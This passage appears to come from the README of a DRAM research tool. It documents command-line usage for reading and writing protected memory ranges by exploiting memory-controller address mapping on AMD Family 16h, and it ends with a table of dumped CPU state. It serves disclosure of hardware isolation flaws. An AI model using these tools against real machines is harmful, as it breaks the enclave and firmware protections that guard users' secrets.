чтобы войти в «спагеттифицированное» представление памяти, прочитайте одно dword по физическому адресу
<pa>, восстановите биты DCT и верните значение.```
dram_read
--pa
--do-swizzle <0|1>
--do-bankswap <0|1>
### `dram_poke`
Запись в защищённый диапазон памяти.
Каждый `--map` — это решённая спагеттификация из `unspaghettify.py --save-map`,
которая, в свою очередь, питается парами алиасов, собранными `gather_aliases.py`;
алиас для каждого dword в защищённом диапазоне восстанавливается из карты через
псевдообратную матрицу над GF(2), вычисляемую один раз при запуске. Передавайте
несколько карт — по одной на каждый `(at_swizzle, at_bankswap)`, собранный на
одном и том же оборудовании, — чтобы расширить покрытие, поскольку каждая
спагеттификация оставляет свой набор дыр с дефицитом ранга, и побеждает первая
карта, которая достигает данного dword.```
dram_poke
[--dangerously-skip-calibration]
[--calibrate-pa <hex>]
[--strict-holes]
[--no-verify]
[--ignore-fw-mismatch]
[--fenced-range <lo>,<hi>]
[--allow-fenced-alias]
-s, --protected-pa <pa>
-l, --length <n>
--map <file> [--map <file>]...
< in.bin
dram_dumpЧтение из защищённого диапазона памяти.
Тот же механизм --map, что и в dram_poke: каждая карта — это решённая «спагеттификация» из unspaghettify.py --save-map, псевдоним для каждого dword восстанавливается через одношаговую GF(2) псевдоинверсию, а несколько карт, собранных при разных (at_swizzle, at_bankswap), расширяют покрытие там, где дыры rank-deficient одной карты заполняются другой.```
dram_dump
[--dangerously-skip-calibration]
[--calibrate-pa ]
[--dry-run]
[--ignore-fw-mismatch]
[--fenced-range ,]
[--allow-fenced-alias]
-s, --protected-pa
-l, --length
--map [--map ]...
Полный набор инструментов — `dram_state`, `dram_carveouts` и `dram_alias`; конвейер анализа `gather_aliases.py` / `unspaghettify.py`; проработанные сквозные примеры; и внутреннее устройство — описан в **[USAGE.md](https://github.com/xoreaxeaxeax/skitter-creek-bath-salts/blob/HEAD/USAGE.md)**.
---
## Общий конвейер
`skitter-creek-bath-salts` исследует, как финальные стадии преобразований MCT/DCT могут обрушить безопасность всего, что построено поверх них. Продемонстрированный здесь эксплойт — это один конфигурационный регистр на AMD Family 16h, выбранный потому, что документация давала достаточно материала для начала. *Конвейер*, который он сломал, есть повсюду.
Чередование каналов, чередование рангов, чередование банков, свизл, нормализация chip-select — каждый современный контроллер памяти делает ту или иную версию всего этого. AMD. Intel. ARM. RISC-V. Мобильные. Серверные. Встраиваемые. Одна и та же архитектурная форма лежит под всем этим.
*Над* всем этим находятся SEV, SGX, TDX, TrustZone, CCA realms, pKVM, CoVE, SEP, PSP, ME, T-SEG, SMRAM, хранилище C6. Всё, что лежит в DRAM — даже то, что отгорожено и невидимо для ring-0 или самого CPU — покоится на финальных слоях конвейера `*p`, который мы только начали исследовать.
---
## Ссылки
* Black Hat 2026 — Spaghettifying DRAM (Скоро)
---
## Автор
`skitter-creek-bath-salts` — исследовательская работа Кристофера Домаса ([@xoreaxeaxeax](https://x.com/xoreaxeaxeax/))
---

---
| offset | x86 state | core-0 value |
|---|
+0x8b0 | GS / per-cpu base | 0xffff9be4e3600000 |
+0x9a0 | CR3 (page-table root) | 0x0fd46000 |
+0x9b8 | IA32_APIC_BASE | 0xfee00900 |
+0xa38 | variable MTRR (base/mask) | 0x6f000000 / …0800 |
+0xb10 | saved RIP | 0xffffffff8f3a0029 |